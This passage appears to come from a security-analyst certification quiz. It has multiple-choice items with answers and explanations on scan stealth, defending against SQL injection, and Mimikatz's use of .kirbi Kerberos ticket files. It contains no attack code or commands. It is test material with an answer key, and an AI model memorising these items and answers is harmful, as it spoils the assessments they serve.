TCP SYN Stealth: This scan sends TCP SYN packets to initiate a connection but doesn’t complete the handshake. It’s more stealthy than a TCP Connect scan but still can be traced back to the scanner.
UDP: This scan targets UDP ports and is used to identify open UDP services on a host. It’s not specifically known for being stealthy in the way an Idle scan is.

What mitigation strategy can an application use to defend against SQL injection attacks?

Validate user-supplied input data.
Implement security controls that block SQL traffic.
Run web applications only on Windows SQL servers.

Restrict SQL deployments to MongoDB Non-relational database management systems (DBMS).

Explanation & Hint:

The most effective mitigation strategy an application can use to defend against SQL injection attacks is to “Validate user-supplied input data.”

Validating input data involves checking, sanitizing, and/or escaping user inputs to ensure that they do not contain SQL code that could be executed by the database. This is a crucial part of a defense-in-depth approach to security and can significantly reduce the risk of SQL injection attacks. Proper input validation ensures that only appropriately formatted data is accepted, thereby preventing malicious SQL code from being injected into the database through user inputs.

The other options are not as directly effective or relevant in defending against SQL injection:

Implement security controls that block SQL traffic: Blocking SQL traffic is not feasible as legitimate application functionality often requires SQL traffic to interact with a database.
Run web applications only on Windows SQL servers: The choice of server does not inherently mitigate SQL injection attacks. SQL injection vulnerabilities are more about how the application handles input and communicates with the database, rather than the specific database server being used.
Restrict SQL deployments to MongoDB Non-relational database management systems (DBMS): Switching to a non-relational DBMS like MongoDB may avoid traditional SQL injection, but it does not eliminate the risk of injection attacks entirely. Non-relational databases can still be vulnerable to other forms of injection if input is not properly handled.

A SOC analyst is alerted that .kirbi files are being modified on a system. Which hacking tool is likely being used by an adversary on the impacted system?

Sqlmap
Mimikatz
Metasploit

Nmap

Explanation & Hint:

If a SOC analyst is alerted that .kirbi files are being modified on a system, the hacking tool likely being used by an adversary on the impacted system is “Mimikatz.”

Mimikatz is a well-known security tool that is often used by both system administrators and attackers for various tasks related to Windows security. One of its notable capabilities is to extract Kerberos ticket granting tickets (TGTs), which are stored in files with the extension .kirbi. These TGTs can be used in “pass-the-ticket” attacks to gain unauthorized access to resources within a Windows environment. The modification of .kirbi files is a strong indicator that Kerberos tickets are being manipulated, which is a common technique employed by Mimikatz.

The other tools listed have different primary functions:

Sqlmap: This is an automated tool for detecting and exploiting SQL injection vulnerabilities in web applications.
Metasploit: While Metasploit can be used for a wide range of hacking activities, it is primarily known as a framework for developing and executing exploit code against remote target machines.
Nmap: This is a network scanning tool used for network discovery and security auditing.